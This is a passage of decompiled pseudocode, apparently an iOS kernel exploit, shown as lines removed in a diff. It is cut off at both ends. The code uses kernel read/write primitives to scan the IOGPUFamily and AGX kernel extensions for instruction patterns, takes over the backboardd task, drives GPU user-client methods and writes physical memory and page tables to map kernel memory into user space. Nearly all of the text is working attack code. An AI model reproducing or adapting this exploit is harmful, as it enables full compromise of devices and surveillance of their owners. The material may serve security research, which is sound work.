v7 = sub_15EC4(a1); - if ( (_DWORD)v7 ) - goto LABEL_19; - v5 = *(_QWORD *)(a1 + 0x1D58); - } - if ( (unsigned int)kreadbuf_last_1(a1, a2, 4LL, (__int64)v17) ) - { - sub_2183C(a1, a2 & ~*(_QWORD *)(a1 + 0x188), (__int64)v19); - v7 = 0xFFFFFFFFLL; - if ( !v8 ) - goto LABEL_19; - v9 = v20 & 0xFFFFFFFFC000LL; - if ( (v20 & 0xFFFFFFFFC000LL) == 0 ) - goto LABEL_19; - v10 = v6 & a2; - v11 = *(_QWORD *)(v5 + 0x510); - v12 = *(_QWORD *)(v5 + 0x518) + v10; - v13 = 0x63; - while ( 1 ) - { - v14 = v13; - if ( !(unsigned int)kreadbuf_last_1(a1, v11, 8LL, (__int64)v19) ) - break; - v19[0] = v19[0] & 0xFFFF000000003FFFLL | v9; - v7 = 0x28010LL; - if ( !(unsigned int)kwritebuf_last_1(a1, v11, (__int64)v19, 8LL) ) - goto LABEL_19; - sub_2AABC(a1, 0x2710u); - if ( !(unsigned int)kwritebuf_last_1(a1, v12, (__int64)&v18, 4LL) ) - goto LABEL_19; - if ( !(unsigned int)kreadbuf_last_1(a1, a2, 4LL, (__int64)&v16) ) - break; - if ( v16 != v18 ) - { - v13 = v14 - 1; - if ( v14 ) - continue; - } - if ( v16 == v18 ) - v7 = 0LL; - else - v7 = 0xFFFFFFFFLL; - goto LABEL_19; - } - } - v7 = 0x2800FLL; -LABEL_19: - sub_25164(a1, 8u); - return v7; - } - return 0xAD022LL; -} -// 15DA8: variable 'v8' is possibly undefined - -//----- (0000000000015EC4) ---------------------------------------------------- -__int64 __fastcall sub_15EC4(__int64 a1) -{ - __int64 v1; // x23 - unsigned int *v3; // x0 - unsigned int *v4; // x20 - __int64 v5; // x8 - __int64 v6; // x1 - __int64 v7; // x26 - void *v8; // x0 - __int64 v9; // x21 - _OWORD *v10; // x22 - __int128 v11; // q0 - __int128 v12; // q1 - __int64 v13; // x8 - int v14; // w9 - int v15; // w10 - char *v16; // x0 - char *v17; // x0 - char *v18; // x23 - __int64 v19; // x25 - int v21; // w24 - char *v22; // x0 - char *v23; // x23 - char *v24; // x0 - char *v25; // x23 - __int64 v26; // x25 - int v27; // w27 - __int64 v28; // x23 - unsigned __int64 v29; // x0 - __int64 v30; // x0 - __int64 v31; // x25 - __int64 v32; // x0 - __int64 v33; // x0 - __int64 v34; // x21 - int v35; // w27 - int v36; // w8 - __int64 v37; // x0 - __int64 v38; // x22 - _BOOL4 has_flag; // w0 - __int64 v40; // x1 - unsigned __int64 v41; // x22 - __int64 v42; // x21 - _BOOL4 v43; // w0 - unsigned __int64 v44; // x8 - unsigned __int64 v45; // x21 - unsigned __int64 v46; // x0 - __int64 v47; // x24 - __int64 *v48; // x8 - __int64 v49; // t1 - __int64 v50; // x9 - __int64 v51; // x10 - __int64 v52; // x22 - vm_size_t v53; // x21 - vm_size_t v54; // x25 - kern_return_t v55; // w0 - __int64 v56; // x23 - __int64 v57; // x27 - __int64 v58; // x0 - vm_size_t v59; // x2 - __int64 v60; // x8 - __int64 v61; // x22 - __int64 v62; // x10 - __int64 v63; // x11 - __int64 v64; // x1 - __int64 v65; // x10 - unsigned __int8 *v66; // x9 - unsigned __int8 *v67; // x10 - unsigned int v68; // t1 - unsigned int v69; // t1 - unsigned __int64 v70; // x0 - unsigned __int64 v71; // x0 - char *v72; // x0 - char *v73; // x0 - unsigned int v74; // w8 - unsigned __int64 v75; // x9 - __int64 v76; // x11 - char v77; // w9 - _QWORD *v78; // x8 - __int64 v79; // x9 - char *v80; // x21 - unsigned __int64 v81; // x22 - __int64 v82; // x9 - mach_port_t v83; // w21 - uint64_t v84; // x8 - mach_port_t v85; // w0 - mach_port_t v86; // w0 - int v87; // w0 - __int64 v88; // x21 - int v89; // w0 - __int64 v90; // x22 - __int64 v91; // x28 - __int64 v92; // x23 - char *v93; // x0 - int v94; // t1 - char *v95; // x0 - char *v96; // x23 - __int64 v97; // x25 - void *v98; // x0 - void *v99; // x25 - _BOOL4 v100; // w0 - unsigned __int64 v101; // x21 - unsigned __int64 v102; // x28 - unsigned __int64 v103; // x22 - unsigned __int64 v104; // x0 - size_t v105; // x23 - unsigned __int64 v106; // x8 - unsigned __int64 v107; // x21 - char *v108; // x0 - char *v109; // x0 - __int64 v110; // x0 - char *v111; // x0 - char *v112; // x0 - char *v113; // x23 - __int64 v114; // x24 - __int64 v115; // x9 - int v116; // w11 - __int64 v117; // x9 - unsigned __int64 v118; // x21 - _QWORD *v119; // x23 - char *v120; // x0 - __int64 v121; // x8 - __int64 v122; // x10 - char *v123; // x25 - char *v124; // x0 - unsigned int v125; // t1 - unsigned __int64 v126; // x11 - unsigned __int64 v127; // x12 - unsigned __int64 v128; // x9 - unsigned __int64 v129; // x22 - char *v130; // x0 - _QWORD *v131; // x10 - char *v132; // x9 - __int64 v133; // x8 - char *v134; // x10 - int v135; // t1 - unsigned __int64 v136; // x0 - char *v137; // x0 - char *v138; // x8 - char *v139; // x0 - unsigned __int64 v140; // x10 - __int64 v141; // x8 - __int64 v142; // x21 - __int64 v143; // x23 - __int64 v144; // x9 - char *v145; // x8 - __int64 v146; // x10 - unsigned int v147; // w12 - char *v148; // x0 - unsigned int v149; // t1 - unsigned __int64 v150; // x11 - unsigned __int64 v151; // x10 - char *v152; // x0 - __int64 v153; // x21 - char *v154; // x0 - char *v155; // x0 - char *v156; // x0 - char *v157; // x0 - char *v158; // x22 - unsigned __int64 *v159; // x25 - unsigned __int64 v160; // x9 - unsigned __int64 v161; // x9 - unsigned __int64 v162; // x1 - char *v163; // x8 - char *v164; // x0 - __int64 v165; // x8 - __int64 v166; // x21 - __int64 v167; // x22 - char *v168; // x0 - char *v169; // x0 - unsigned int v170; // t1 - unsigned __int64 v171; // x9 - unsigned __int64 v172; // x10 - unsigned __int64 v173; // x8 - __int64 v174; // x8 - _BOOL4 v175; // w0 - unsigned __int64 v176; // x8 - int32x2_t v177; // d0 - int64x2_t v178; // off - _QWORD *v179; // x28 - __int64 v180; // x0 - __int64 v181; // x21 - __int64 v182; // x25 - int v183; // w0 - vm_address_t v184; // x27 - __int64 v185; // x0 - __int64 v186; // x22 - int v187; // w0 - vm_address_t v188; // x23 - int v189; // w0 - int v190; // w0 - int v191; // w0 - int v192; // w0 - _BOOL4 v193; // w0 - unsigned __int64 v194; // x8 - __int64 v195; // x0 - int v196; // w26 - int v197; // w0 - int v198; // w0 - uint64_t v199; // x9 - __int64 v200; // x8 - vm_address_t v201; // x9 - __int64 v202; // x27 - __int64 v203; // x26 - unsigned __int64 v204; // x21 - _QWORD *v205; // x28 - __int64 v206; // x1 - __int64 v207; // x25 - unsigned __int64 v208; // x0 - unsigned __int64 v209; // x0 - unsigned __int64 v210; // x22 - int v211; // w0 - __int64 v212; // x23 - int v213; // w0 - __int64 i; // x23 - __int64 v215; // x28 - __int64 v216; // x0 - __int64 v217; // x22 - __int64 v218; // x23 - int v219; // w0 - bool v220; // zf - __int64 v221; // x25 - __int64 v222; // x9 - __int64 v223; // x9 - __int64 v224; // x9 - unsigned __int64 v225; // x25 - unsigned __int64 v226; // x10 - vm_address_t v227; // x8 - int64x2_t v228; // q0 - __int64 v229; // x21 - __int64 *v230; // x22 - __int64 v231; // t1 - _BOOL4 v232; // w0 - __int64 v233; // x22 - _QWORD *v234; // x27 - __int64 v235; // x28 - __int64 v236; // x21 - __int64 v237; // x26 - int v238; // w25 - vm_address_t v239; // x11 - char *v240; // x12 - char *v241; // x23 - unsigned __int64 v242; // x8 - unsigned __int64 v243; // x9 - __int64 v244; // x10 - __int64 v245; // x13 - char *v246; // x12 - __int64 v247; // x12 - __int64 v248; // x12 - _QWORD *v249; // x11 - __int64 v250; // x11 - __int64 v251; // x25 - __int64 v252; // x9 - char *v253; // x10 - char *v254; // x23 - unsigned __int64 v255; // x21 - __int64 v256; // x8 - char *v257; // x10 - __int64 v258; // x10 - __int64 v259; // x10 - __int64 v260; // x10 - _QWORD *v261; // x9 - __int64 v262; // x9 - __int64 v263; // x9 - __int64 v264; // x9 - __int64 v265; // x9 - __int64 v266; // x26 - _QWORD *v267; // x9 - unsigned __int64 v268; // x21 - _QWORD *v269; // x12 - __int64 v270; // x10 - __int64 v271; // x10 - __int64 v272; // x10 - __int64 v273; // x10 - __int64 v274; // x10 - __int64 v275; // x10 - __int64 v276; // x10 - __int64 v277; // x10 - __int64 v278; // x10 - unsigned __int64 v279; // x21 - char v280; // w21 - __int64 v281; // x22 - __int64 v282; // x0 - __int64 v283; // x21 - int v284; // [xsp+20h] [xbp-6F0h] - vm_address_t v285; // [xsp+28h] [xbp-6E8h] - unsigned __int64 v286; // [xsp+30h] [xbp-6E0h] - vm_address_t v287; // [xsp+40h] [xbp-6D0h] - vm_address_t v288; // [xsp+48h] [xbp-6C8h] - __int64 v289; // [xsp+48h] [xbp-6C8h] - unsigned __int64 v290; // [xsp+50h] [xbp-6C0h] - __int64 v291; // [xsp+50h] [xbp-6C0h] - unsigned __int64 v292; // [xsp+50h] [xbp-6C0h] - int v293[2]; // [xsp+50h] [xbp-6C0h] - _QWORD *v294; // [xsp+50h] [xbp-6C0h] - int v295[2]; // [xsp+58h] [xbp-6B8h] - __int64 v296; // [xsp+58h] [xbp-6B8h] - int v297[2]; // [xsp+58h] [xbp-6B8h] - unsigned __int64 v298; // [xsp+58h] [xbp-6B8h] - int v299[2]; // [xsp+58h] [xbp-6B8h] - __int64 v300; // [xsp+60h] [xbp-6B0h] - __int64 v301; // [xsp+60h] [xbp-6B0h] - __int64 *v302; // [xsp+60h] [xbp-6B0h] - __int64 v303; // [xsp+60h] [xbp-6B0h] - __int64 v304; // [xsp+70h] [xbp-6A0h] BYREF - __int64 v305; // [xsp+78h] [xbp-698h] BYREF - __int64 v306; // [xsp+80h] [xbp-690h] BYREF - __int64 v307; // [xsp+88h] [xbp-688h] BYREF - __int64 v308; // [xsp+90h] [xbp-680h] BYREF - __int64 v309; // [xsp+98h] [xbp-678h] BYREF - __int64 v310; // [xsp+A0h] [xbp-670h] BYREF - __int64 v311; // [xsp+A8h] [xbp-668h] BYREF - size_t v312; // [xsp+B0h] [xbp-660h] BYREF - size_t v313; // [xsp+B8h] [xbp-658h] BYREF - vm_address_t target_address[3]; // [xsp+C0h] [xbp-650h] BYREF - size_t outputStructCnt; // [xsp+D8h] [xbp-638h] BYREF - _BYTE v316[24]; // [xsp+E0h] [xbp-630h] BYREF - __int64 v317; // [xsp+F8h] [xbp-618h] - _BYTE v318[12]; // [xsp+100h] [xbp-610h] BYREF - unsigned int v319; // [xsp+10Ch] [xbp-604h] - uint64_t size[2]; // [xsp+110h] [xbp-600h] BYREF - uint64_t input[2]; // [xsp+120h] [xbp-5F0h] BYREF - __int64 outputStruct; // [xsp+130h] [xbp-5E0h] BYREF - unsigned int v323; // [xsp+138h] [xbp-5D8h] - vm_address_t address[2]; // [xsp+140h] [xbp-5D0h] BYREF - _BYTE inputStruct[24]; // [xsp+150h] [xbp-5C0h] BYREF - __int128 v326; // [xsp+168h] [xbp-5A8h] - __int128 v327; // [xsp+178h] [xbp-598h] - __int128 v328; // [xsp+188h] [xbp-588h] - __int128 v329; // [xsp+198h] [xbp-578h] - __int128 v330; // [xsp+1A8h] [xbp-568h] - __int128 v331; // [xsp+1B8h] [xbp-558h] - __int128 v332; // [xsp+1C8h] [xbp-548h] - __int128 v333; // [xsp+1D8h] [xbp-538h] - __int128 v334; // [xsp+1E8h] [xbp-528h] - __int128 v335; // [xsp+1F8h] [xbp-518h] - __int128 v336; // [xsp+208h] [xbp-508h] - __int128 v337; // [xsp+218h] [xbp-4F8h] - __int128 v338; // [xsp+228h] [xbp-4E8h] - _BYTE v339[32]; // [xsp+238h] [xbp-4D8h] - __int64 v340; // [xsp+258h] [xbp-4B8h] - __int64 v341; // [xsp+260h] [xbp-4B0h] - vm_address_t src_address[36]; // [xsp+560h] [xbp-1B0h] BYREF - __int128 v343; // [xsp+680h] [xbp-90h] BYREF - _QWORD v344[2]; // [xsp+690h] [xbp-80h] - __int64 v345; // [xsp+6A0h] [xbp-70h] - - v1 = 0xAD008LL; - if ( *(_QWORD *)(a1 + 0x158) < 0x225C23801AF00DuLL || !krw_ctx_has_flag((_DWORD *)a1, 0x5184000) ) - return v1; - if ( *(_QWORD *)(a1 + 0x1D58) ) - return 0LL; - v3 = (unsigned int *)calloc(1uLL, 0x520uLL); - if ( !v3 ) - return 0xAD009LL; - v4 = v3; - *(_QWORD *)(a1 + 0x1D58) = v3; - v5 = *(_QWORD *)(a1 + 0x118); - if ( v5 ) - { - if ( *(_QWORD *)(a1 + 0x120) ) - { - v6 = *(_QWORD *)(v5 + 0x160); - if ( v6 ) - { - if ( (unsigned int)kreadbuf_last_1(a1, v6, 0x228LL, (__int64)(v3 + 0xBE)) ) - return 0LL; - } - } - } - v7 = 0x2801BLL; - target_address[0] = 0LL; - if ( !(unsigned int)get_kext_base_addr(a1, "com.apple.iokit.IOGPUFamily", address) - || !(unsigned int)sub_248A4(a1, "com.apple.AGXG", 0xEuLL, target_address) ) - { - goto LABEL_26; - } - v8 = calloc(1uLL, 0x128uLL); - if ( !v8 ) - { - v7 = 0xAD009LL; - goto LABEL_26; - } - v9 = (__int64)v8; - v10 = calloc(1uLL, 0x128uLL); - if ( v10 ) - { - sub_19DD4(v9, a1); - sub_19DD4((__int64)v10, a1); - v11 = *(_OWORD *)(a1 + 0x140); - v12 = *(_OWORD *)(a1 + 0x150); - *(_OWORD *)(v9 + 0x70) = v11; - *(_OWORD *)(v9 + 0x80) = v12; - v13 = *(_QWORD *)(a1 + 0x160); - *(_QWORD *)(v9 + 0x90) = v13; - v14 = *(_DWORD *)(a1 + 0x178); - *(_DWORD *)(v9 + 0x98) = v14; - v15 = *(_DWORD *)(a1 + 0x180); - *(_DWORD *)(v9 + 0x38) = v15; - v10[7] = v11; - v10[8] = v12; - *((_QWORD *)v10 + 0x12) = v13; - *((_DWORD *)v10 + 0x26) = v14; - *((_DWORD *)v10 + 0xE) = v15; - v1 = 0x28017LL; - if ( sub_1A0D4(v9, *(_DWORD *)(a1 + 0x1918), address[0], 0) - && sub_1A0D4((__int64)v10, *(_DWORD *)(a1 + 0x1918), target_address[0], 0) ) - { - v343 = xmmword_42FA0; - *(_OWORD *)v316 = xmmword_42FB0; - sub_19D10(v9, inputStruct); - v16 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 4uLL); - if ( v16 ) - { - if ( (unsigned int)kreadbuf_last_1(a1, (__int64)(v16 + 8), 4LL, (__int64)src_address) ) - { - v4[0x2A] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); - LODWORD(src_address[0]) = 0xF2F5F020; - LODWORD(v343) = 0xFFFFFFE0; - sub_19D10(v9, inputStruct); - v17 = sub_1E2BC((__int64 *)inputStruct, src_address, &v343, 1uLL); - if ( v17 ) - { - v18 = v17; - v19 = 0LL; - while ( (unsigned int)kreadbuf_last_1(a1, (__int64)&v18[v19], 4LL, (__int64)v316) ) - { - if ( (*(_DWORD *)v316 & 0xFFC0001F) == 0xF900001F ) - { - v4[0x2B] = ((*(_DWORD *)v316 >> 0xA) & 0xFFF) << (*(_DWORD *)v316 >> 0x1E); - v343 = xmmword_42FC0; - LODWORD(v344[0]) = 0x34000000; - *(_OWORD *)v316 = xmmword_42FD0; - *(_DWORD *)&v316[0x10] = 0xFF000000; - sub_19D10((__int64)v10, inputStruct); - v22 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 5uLL); - if ( v22 ) - { - v23 = v22; - if ( (unsigned int)kreadbuf_last_1(a1, (__int64)v22, 4LL, (__int64)src_address) ) - { - v4[0x2E] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); - if ( (unsigned int)kreadbuf_last_1(a1, (__int64)(v23 + 8), 4LL, (__int64)src_address) ) - { - v4[0x2C] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); - if ( (unsigned int)kreadbuf_last_1(a1, (__int64)(v23 + 0xC), 4LL, (__int64)src_address) ) - { - v4[0x2D] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); - *(_OWORD *)inputStruct = xmmword_42FE0; - *(_QWORD *)&inputStruct[0x10] = 0x8B00000052800008LL; - v343 = xmmword_42FF0; - v344[0] = 0xFFE0FC00FFE0001FLL; - sub_19D10((__int64)v10, src_address); - v24 = sub_1E2BC((__int64 *)src_address, inputStruct, &v343, 6uLL); - if ( v24 ) - { - v25 = v24; - if ( (unsigned int)kreadbuf_last_1(a1, (__int64)v24, 4LL, (__int64)v316) ) - { - v26 = 0LL; - v27 = 0; - v4[0x31] = (unsigned __int16)(*(_DWORD *)v316 >> 5); - while ( (unsigned int)kreadbuf_last_1(a1, (__int64)&v25[v26 + 4], 4LL, (__int64)v316) ) - { - if ( (*(_DWORD *)v316 & 0xFFE0001F) == 0x52800008 ) - { - if ( v27 == 1 ) - { - if ( (unsigned int)kreadbuf_last_1(a1, (__int64)&v25[v26 + 4], 4LL, (__int64)v316) ) - { - v91 = 0LL; - v4[0x2F] = (unsigned __int16)(*(_DWORD *)v316 >> 5); - while ( (unsigned int)kreadbuf_last_1( - a1, - (__int64)&v25[v26 + 4 + v91], - 4LL, - (__int64)v316) ) - { - if ( *(_DWORD *)v316 == 0xF2E63531 ) - { - if ( (unsigned int)kreadbuf_last_1( - a1, - (__int64)&v25[v26 + 0xC + v91], - 4LL, - (__int64)v316) ) - { - v4[0x30] = ((*(_DWORD *)v316 >> 0xA) & 0xFFF) << (*(_DWORD *)v316 >> 0x1E); - *(_OWORD *)inputStruct = xmmword_43000; - *(_QWORD *)&inputStruct[0x10] = 0LL; - LODWORD(v326) = 0x14000000; - *(_OWORD *)src_address = xmmword_43010; - src_address[2] = 0LL; - LODWORD(src_address[3]) = 0xFC000000; - sub_19D10(v9, &v343); - v95 = sub_1E2BC((__int64 *)&v343, inputStruct, src_address, 7uLL); - if ( v95 ) - { - v96 = v95; - v97 = 0LL; - while ( (unsigned int)kreadbuf_last_1( - a1, - (__int64)&v96[v97], - 4LL, - (__int64)v316) ) - { - if ( *(_DWORD *)v316 >> 0x1A == 0x25 ) - { - if ( (unsigned int)kreadbuf_last_1( - a1, - (__int64)&v96[v97 - 8], - 4LL, - (__int64)v316) ) - { - v4[0x32] = ((*(_DWORD *)v316 >> 0xA) & 0xFFF) << (*(_DWORD *)v316 >> 0x1E); - v343 = xmmword_43020; - LODWORD(v344[0]) = 0xF9000000; - *(_OWORD *)v316 = xmmword_43030; - *(_DWORD *)&v316[0x10] = 0xFFC0001F; - sub_19D10(v9, inputStruct); - v108 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 5uLL); - if ( v108 ) - { - if ( (unsigned int)kreadbuf_last_1( - a1, - (__int64)v108, - 4LL, - (__int64)src_address) ) - { - v4[0x33] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); - *(_QWORD *)&v343 = 0x2900000011000000LL; - *(_QWORD *)v316 = 0x3F0000003FLL; - sub_19D10(v9, inputStruct); - v109 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 2uLL); - if ( v109 ) - { - if ( (unsigned int)kreadbuf_last_1( - a1, - (__int64)(v109 + 0xC), - 4LL, - (__int64)src_address) ) - { - v4[0x34] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); - v110 = *(_QWORD *)(a1 + 0x19F8); - *(_QWORD *)&v343 = 0x8B020108F9400008LL; - *(_QWORD *)v316 = 0xFFFFFFFFFFC003FFLL; - sub_19D10(v110, inputStruct); - v111 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 2uLL); - if ( v111 ) - { - if ( (unsigned int)kreadbuf_last_1( - a1, - (__int64)v111, - 4LL, - (__int64)src_address) ) - { - v4[0x35] = ((LODWORD(src_address[0]) >> 0xA) & 0xFFF) << (LODWORD(src_address[0]) >> 0x1E); - v343 = xmmword_43040; - *(_QWORD *)v316 = 0xFFFFFFFFFFFFFFFFLL; - *(_QWORD *)&v316[8] = 0xFFFFFFFFFFFFFFFFLL; - sub_19D10((__int64)v10, inputStruct); - v112 = sub_1E2BC( - (__int64 *)inputStruct, - &v343, - v316, - 4uLL); - if ( v112 ) - { - v113 = v112; - v114 = 0LL; - while ( (unsigned int)kreadbuf_last_1( - a1, - (__int64)&v113[v114], - 4LL, - (__int64)src_address) ) - { - if ( (src_address[0] & 0x1F000000) == 0x10000000 ) - { - v136 = sub_1E854( - (__int64 *)v10, - (__int64 *)&v113[v114]); - v1 = 0LL; - *((_QWORD *)v4 + 0x1B) = v136; - v21 = 1; - goto LABEL_44; - } - v114 -= 4LL; - if ( (_DWORD)v114 == 0xFFFFFF8C ) - goto LABEL_43; - } - } - } - } - } - } - } - } - } - goto LABEL_43; - } - v97 += 4LL; - if ( (_DWORD)v97 == 0x114 ) - goto LABEL_43; - } - } - } - goto LABEL_43; - } - v91 += 4LL; - if ( (_DWORD)v91 == 0xC4 ) - goto LABEL_43; - } - } - goto LABEL_43; - } - v27 = 1; - } - v26 += 4LL; - if ( (_DWORD)v26 == 0xC4 ) - goto LABEL_43; - } - } - } - } - } - } - } - break; - } - v19 += 4LL; - if ( (_DWORD)v19 == 0x4C ) - break; - } - } - } - } -LABEL_43: - v21 = 0; - v1 = 0x2801BLL; - } - else - { - v21 = 0; - } - } - else - { - v21 = 0; - v1 = 0xAD009LL; - } -LABEL_44: - sub_1A520(v9); - free((void *)v9); - if ( v10 ) - { - sub_1A520((__int64)v10); - free(v10); - } - if ( !v21 ) - goto LABEL_27; - v28 = *(_QWORD *)(a1 + 0x1D58); - outputStructCnt = 0x10LL; - v312 = 0x10LL; - v313 = 0x10LL; - v29 = sub_32D24(a1); - if ( v29 ) - { - v30 = krw_task_for_name(a1, v29, "backboardd"); - if ( v30 ) - { - v31 = *(_QWORD *)(a1 + 0x1D58); - v32 = sub_32D80(a1, v30); - if ( v32 ) - { - v33 = sub_336B8(a1, v32, v316, address); - if ( v33 ) - { - if ( *(_DWORD *)v316 ) - { - v34 = v33; - v35 = 0; - while ( (unsigned int)kread64(a1, v34 + (unsigned int)(LODWORD(address[0]) * v35), inputStruct) ) - { - if ( *(_QWORD *)inputStruct ) - { - if ( !kread32_outptr(a1, *(unsigned __int64 *)inputStruct, target_address) ) - break; - if ( (target_address[0] & 0x80000000) != 0 ) - { - v36 = target_address[0] & 0x3FF; - if ( (target_address[0] & 0x3FF) != 0 ) - { - LODWORD(target_address[0]) = target_address[0] & 0x3FF; - if ( v36 == 0x1D ) - { - v37 = sub_328A4(a1, *(unsigned __int64 *)inputStruct); - if ( !v37 ) - break; - v38 = v37; - if ( !(unsigned int)kread64(a1, v37, src_address) ) - break; - if ( src_address[0] == *(_QWORD *)(v31 + 0xD8) + 0x10LL ) - { - if ( (unsigned int)sub_36480(a1, *(unsigned __int64 *)inputStruct, (mach_port_name_t *)&v343) ) - break; - v83 = v343; - *(_QWORD *)(v31 + 0xE0) = v38; - v4[2] = v83; - if ( v83 ) - { - bzero(inputStruct, 0x408uLL); - if ( !IOConnectCallStructMethod(v83, 7u, inputStruct, 0x408uLL, address, &outputStructCnt) ) - { - v4[3] = address[0]; - *((_BYTE *)v4 + 0x10) = 1; - *(_OWORD *)target_address = xmmword_43050; - if ( !IOConnectCallMethod( - v4[2], - 0xFu, - target_address, - 2u, - 0LL, - 0LL, - 0LL, - 0LL, - &outputStruct, - &v313) ) - { - v84 = v323; - v4[5] = v323; - *((_BYTE *)v4 + 0x18) = 1; - v85 = v4[2]; - input[0] = v4[3]; - input[1] = v84; - if ( !IOConnectCallScalarMethod(v85, 0x19u, input, 2u, 0LL, 0LL) ) - { - size[0] = *(unsigned int *)(a1 + 0x180); - size[1] = 0LL; - if ( !IOConnectCallMethod(v4[2], 0xDu, size, 2u, 0LL, 0LL, 0LL, 0LL, v318, &v312) ) - { - v4[7] = v319; - *((_BYTE *)v4 + 0x24) = 1; - size[0] = *(unsigned int *)(a1 + 0x180); - if ( !IOConnectCallMethod(v4[2], 0xDu, size, 2u, 0LL, 0LL, 0LL, 0LL, v318, &v312) ) - { - v4[8] = v319; - *((_BYTE *)v4 + 0x25) = 1; - if ( (unsigned int)kread64( - a1, - *(_QWORD *)(v28 + 0xE0) + *(unsigned int *)(v28 + 0xA8), - v28 + 0xE8) ) - { - if ( (unsigned int)kread64( - a1, - *(_QWORD *)(v28 + 0xE8) + *(unsigned int *)(v28 + 0xB0), - v28 + 0xF0) ) - { - v86 = v4[2]; - *(_QWORD *)v316 = v4[3]; - v317 = 0x38LL; - *(_OWORD *)&v316[8] = xmmword_43750; - memset(&src_address[1], 0, 0x30); - LODWORD(src_address[0]) = v4[7]; - HIDWORD(src_address[0]) = src_address[0]; - if ( !IOConnectCallMethod( - v86, - 0x1Au, - (const uint64_t *)v316, - 4u, - src_address, - 0x38uLL, - 0LL, - 0LL, - 0LL, - 0LL) ) - { - HIDWORD(src_address[0]) = v4[8]; - if ( !IOConnectCallMethod( - v4[2], - 0x1Au, - (const uint64_t *)v316, - 4u, - src_address, - 0x38uLL, - 0LL, - 0LL, - 0LL, - 0LL) ) - { - if ( (unsigned int)kread64( - a1, - *(_QWORD *)(v28 + 0xE8) + *(unsigned int *)(v28 + 0xC8), - &v311) ) - { - if ( (unsigned int)kread64( - a1, - v311 + *(unsigned int *)(v28 + 0xCC), - &v310) ) - { - if ( (unsigned int)kread64(a1, v310 + 8 * v4[7], &v309) ) - { - if ( (unsigned int)kread64(a1, v310 + 8 * v4[8], &v308) ) - { - if ( (unsigned int)kread64( - a1, - v309 + *(unsigned int *)(v28 + 0xD0), - &v307) ) - { - if ( (unsigned int)kread64( - a1, - v308 + *(unsigned int *)(v28 + 0xD0), - &v306) ) - { - if ( (unsigned int)kread64( - a1, - v307 + *(unsigned int *)(v28 + 0xD4), - &v305) ) - { - if ( (unsigned int)kread64( - a1, - v306 + *(unsigned int *)(v28 + 0xD4), - &v304) ) - { - sub_2183C( - a1, - v305 & ~*(_QWORD *)(a1 + 0x188), - (__int64)&v343); - if ( v87 ) - { - v88 = v345 & 0xFFFFFFFFC000LL; - if ( (v345 & 0xFFFFFFFFC000LL) != 0 ) - { - sub_2183C( - a1, - v304 & ~*(_QWORD *)(a1 + 0x188), - (__int64)&v343); - if ( v89 ) - { - v90 = v345 & 0xFFFFFFFFC000LL; - if ( (v345 & 0xFFFFFFFFC000LL) != 0 - && !(unsigned int)physwrite_maybe(a1, v88, v4 + 0xA) ) - { - *((_QWORD *)v4 + 0x13) = *((_QWORD *)v4 + 5); - if ( !(unsigned int)physwrite_maybe( - a1, - v90, - v4 + 0x18) ) - { - *((_QWORD *)v4 + 0x14) = *((_QWORD *)v4 + 0xC); - goto LABEL_67; - } - } - } - } - } - } - } - } - } - } - } - } - } - } - } - } - } - } - } - } - } - } - } - goto LABEL_66; - } - } - } - } - } - if ( (unsigned int)++v35 >= *(_DWORD *)v316 ) - break; - } - } - } - } - } - } - v4[2] = 0; -LABEL_66: - *(_BYTE *)v28 = 1; -LABEL_67: - has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x4000000); - if ( has_flag ) - v40 = 0x292050000LL; - else - v40 = 0x206050000LL; - if ( has_flag ) - v41 = 0xFFFFFC0000000000LL; - else - v41 = 0xFFFFFF8000000000LL; - v1 = physwrite_maybe(a1, v40, inputStruct); - if ( (_DWORD)v1 ) - goto LABEL_27; - v42 = **(_QWORD **)inputStruct; - v43 = krw_ctx_has_flag((_DWORD *)a1, 0x5000000); - v44 = 0xFFFFFFFFFFFFFFFELL; - if ( !v43 ) - v44 = 0xFFFFFFFFELL; - v45 = v44 & v42; - sub_38BCC(a1); - *((_QWORD *)v4 + 0x21) = v45; - v46 = sub_18B14(); - *((_QWORD *)v4 + 0x1F) = v46; - v47 = 0x2800FLL; - if ( !v46 ) - goto LABEL_370; - v1 = physwrite_maybe(a1, *((_QWORD *)v4 + 0x21), inputStruct); - if ( (_DWORD)v1 ) - goto LABEL_27; - v48 = *(__int64 **)inputStruct; - do - v49 = *v48++; - while ( v49 != 0x7777777777777700LL ); - v50 = v48[0xFFFFFFFB]; - *((_QWORD *)v4 + 0x26) = v50; - v51 = v48[0xFFFFFFFC] - v50; - *((_QWORD *)v4 + 0x25) = v41; - *((_QWORD *)v4 + 0x27) = v50 - v41; - *((_QWORD *)v4 + 0x28) = v51; - *((_QWORD *)v4 + 0x24) = *v48; - *((_QWORD *)v4 + 0x23) = v48[7]; - sub_38BCC(a1); - v52 = *((_QWORD *)v4 + 0x21); - v53 = *((_QWORD *)v4 + 0x27); - v54 = *(unsigned int *)(a1 + 0x180); - LODWORD(outputStruct) = 3; - LODWORD(input[0]) = 3; - v55 = vm_allocate(mach_task_self_, address, v53, 1); - if ( v55 ) - { -LABEL_81: - v7 = v55 | 0x80000000; - goto LABEL_26; - } - if ( v53 >= v54 ) - { - v56 = 0LL; - if ( v53 / v54 <= 1 ) - v57 = 1LL; - else - v57 = v53 / v54; - while ( 1 ) - { - v58 = physwrite_maybe(a1, v52 + v56 * *(unsigned int *)(a1 + 0x180), src_address); - if ( (_DWORD)v58 ) - break; - v59 = *(unsigned int *)(a1 + 0x180); - target_address[0] = address[0] + v56 * v59; - v55 = vm_remap( - mach_task_self_, - target_address, - v59, - 0LL, - 0x4000, - mach_task_self_, - src_address[0], - 0, - (vm_prot_t *)&outputStruct, - (vm_prot_t *)input, - 1u); - if ( v55 ) - goto LABEL_81; - if ( ++v56 == v57 